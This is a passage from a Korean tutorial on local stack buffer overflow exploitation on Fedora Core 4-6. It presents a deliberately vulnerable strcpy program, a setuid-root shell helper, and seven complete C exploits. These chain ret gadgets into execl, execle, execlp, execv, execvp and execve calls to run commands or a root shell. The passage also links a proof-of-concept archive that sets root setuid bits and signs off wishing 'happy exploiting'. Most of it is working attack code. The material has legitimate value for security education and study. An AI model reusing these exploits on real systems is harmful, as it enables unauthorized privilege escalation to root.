각 exec 계열 함수 주소만 변경해주면 Fedora core 5,6 시스템에서도 동일한 구조로 exploit 할 수 있다. Fedora core 4 시스템의 경우, ret code를 38번 입력한 결과 공격에 성공할 수 있었으며, Fedora core 6 시스템의 경우, ret code를 46번 입력한 결과, 공격을 성공시킬 수 있었다. 7-1) 취약점 공격 대상 프로그램 code: vuln.c 컴파일: gcc -o vuln vuln.c ------------------------------------------------------------------------------------------------------ /* Proof-of-Concept code */ #include int main(int argc,char *argv[]) { char buf[8]; strcpy(buf,argv[1]); return 0; } ------------------------------------------------------------------------------------------------------ 7-2) exploit에서 실행할 shell 프로그램 code: sh.c 컴파일 gcc -o sh sh.c ------------------------------------------------------------------------------------------------------ int main() { setuid(0); setgid(0); execl("/bin/sh","sh","-p",0); } ------------------------------------------------------------------------------------------------------ 7-3) execl() 함수를 이용한 local exploit code: 0x82-x_execl.c "/bin/ls -al" 명령이 정상적으로 실행되면, 공격은 성공한 것이다. 환경 변수로 들어가는 명령, 인자는 직접 수정해줘도 된다. 앞서 소개한 7-2) sh 프로그램 도움없이 명령 인자까지 지정하여 실행 가능한 비교적 깔끔한(?) exploit code 이다. 컴파일: gcc -o 0x82-x_execl 0x82-x_execl.c ------------------------------------------------------------------------------------------------------ /* 0x82-x_execl.c */ int main() { char *environs[]={ "/bin/ls", /* environ0: /bin/ls */ "ls", /* environ1: ls */ "-al", /* environ2: -al */ 0}; /* execl("/bin/ls","ls","-al",0); */ char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08" /* ret code number: 38 */ "\x5c\x24\x7a", /* execl() */ 0}; execve("./vuln",arguments,environs); } ------------------------------------------------------------------------------------------------------ 7-4) execle() 함수를 이용한 local exploit code: 0x82-x_execle.c 앞서 소개한 7-2) sh 프로그램을 이용하는 공격 코드로써, 특이한 점은 환경 변수 포인터가 아닌, argument 포인터를 이용하여 공격한다는 점이다. 이렇게 argument 포인터로 공격하는 이유는 execle() 함수의 두 번째 인자와 세 번째 인자에 null(0x00000000) 값을 입력하기 위해서이다. 이것은 execv*() 계열 함수의 null code를 포인터하는 주소를 넣어주는 것과 달리, 직접 null(0x00000000) 값을 갖는 코드를 입력해주어야 한다. 이렇게 연속되는 null(0x00000000) 값을 만들기 위해 argument 포인터 끝 부분과 환경 변수 포인터 끝 부분의 null code를 이용하였다. 컴파일: gcc -o 0x82-x_execle 0x82-x_execle.c ------------------------------------------------------------------------------------------------------ /* 0x82-x_execle.c */ /* execle()는 execv*() 계열과 다르게 포인터가 아닌, NULL 코드를 직접 입력해주어야 한다. */ int main() { char *environs[]={0}; /* execle() 세 번째 인자: 0x00000000 */ char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08" /* ret code number: 37 */ "\x08\x23\x7a", /* execle() */ "./sh", /* execle() 첫 번째 인자: ./sh */ 0}; /* execle() 두 번째 인자: 0x00000000 */ /* execle("./sh",0x00000000,0x00000000); */ execve("./vuln",arguments,environs); } ------------------------------------------------------------------------------------------------------ 7-5) execlp() 함수를 이용한 local exploit code: 0x82-x_execlp.c "/bin/ls -al" 명령이 정상적으로 실행되면, 공격은 성공한 것이다. 환경 변수로 들어가는 명령, 인자는 직접 수정해줘도 된다. 앞서 소개한 7-2) sh 프로그램 도움없이 명령 인자까지 지정하여 실행 가능한 비교적 깔끔한(?) exploit code 이다. exploit method는 execl() 함수 사용 시와 동일하다. 컴파일: gcc -o 0x82-x_execlp 0x82-x_execlp.c ------------------------------------------------------------------------------------------------------ /* 0x82-x_execlp.c */ int main() { char *environs[]={ "/bin/ls", /* environ0: /bin/ls */ "ls", /* environ1: ls */ "-al", /* environ2: -al */ 0}; char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08" /* ret code number: 38 */ "\x78\x29\x7a", /* execlp() */ 0}; execve("./vuln",arguments,environs); } ------------------------------------------------------------------------------------------------------ 7-6) execv() 함수를 이용한 local exploit code: 0x82-x_execv.c 앞서 소개한 7-2) sh 프로그램을 이용하는 공격 코드로써, execv() 두 번째 인자에 null code 포인터가 아닌, null(0x00000000) code를 직접 넣어 공격을 시도한다. 함수의 인자는 단 두 개만 필요로하므로, 쉽게 공격에 성공할 수 있다. 컴파일: gcc -o 0x82-x_execv 0x82-x_execv.c ------------------------------------------------------------------------------------------------------ /* 0x82-x_execv.c */ int main() { char *environs[]={ "./sh", /* environ0: ./sh */ 0}; /* ** execv()'s argument: ** -- ** execv("./sh",0x00000000); */ char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08" /* ret code number: 38 */ "\xd4\x22\x7a", /* execv() */ 0}; execve("./vuln",arguments,environs); } ------------------------------------------------------------------------------------------------------ 7-7) execvp() 함수를 이용한 local exploit code: 0x82-x_execvp.c 앞서 소개한 7-2) sh 프로그램을 이용하는 공격 코드로써, execvp() 두 번째 인자에 null code 포인터가 아닌, null(0x00000000) code를 직접 넣어 공격을 시도한다. 함수의 인자는 단 두 개만 필요로하므로, 쉽게 공격에 성공할 수 있다. exploit method는 execv() 함수 사용 시와 동일하다. 컴파일: gcc -o 0x82-x_execvp 0x82-x_execvp.c ------------------------------------------------------------------------------------------------------ /* 0x82-x_execvp.c */ int main() { char *environs[]={ "./sh", /* environ0: ./sh */ 0}; /* ** execvp()'s argument: ** -- ** execvp("./sh",0x00000000); */ char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08" /* ret code number: 38 */ "\xa0\x25\x7a", /* execvp() */ 0}; execve("./vuln",arguments,environs); } ------------------------------------------------------------------------------------------------------ 7-8) execve() 함수를 이용한 local exploit code: 0x82-x_execve.c 앞서 예제에서 소개한 공격 코드로써, execve() 두 번째 인자와 세 번째 인자에 null code 포인터를 넣는다. 물론, null code 포인터가 아닌, null(0x00000000) code를 직접 넣어주어도 공격에 성공할 수 있다. 컴파일: gcc -o 0x82-x_execve 0x82-x_execve.c ------------------------------------------------------------------------------------------------------ /* 0x82-x_execve.c */ int main() { char *environs[]={ "./sh", /* environ0: ./sh */ "\x00", /* environ1: 0x00000000 */ "\x00", /* environ2: 0x00000000 */ "\x00", /* environ3 */ "\x00", /* environ4 */ "\x00", /* environ5 */ 0}; /* ** execve()'s argument: ** -- ** execve("./sh",[null code pointer],[null code pointer]); */ char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08" "\xb6\x83\x04\x08\xb6\x83\x04\x08" /* ret code number: 38 */ "\xac\x21\x7a", /* execve() */ 0}; execve("./vuln",arguments,environs); } ------------------------------------------------------------------------------------------------------ 전체 코드를 얻고자 한다면, 다음 Proof-of-Concept 코드를 다운로드 받아 시험해보길 바란다. http://x82.inetcop.org/h0me/papers/data/0x82-local_environ_bof.tgz (root 권한에서 압축을 풀면, root 소유자의 setuid가 설정되어 있을 것이다.) 그럼, 즐거운 exploit 되길... :-} 8) 레퍼런스 - Fedora Core 3 based remote buffer overflow method (작성자: 유동훈) - Fedora Core 4,5,6 내에서 local 스택 기반 overflow exploit 방법 (작성자: 유동훈) - White Box Enterprise 4, CentOS 4.2 system 내에서 local 스택 기반 overflow exploit (작성자: 유동훈)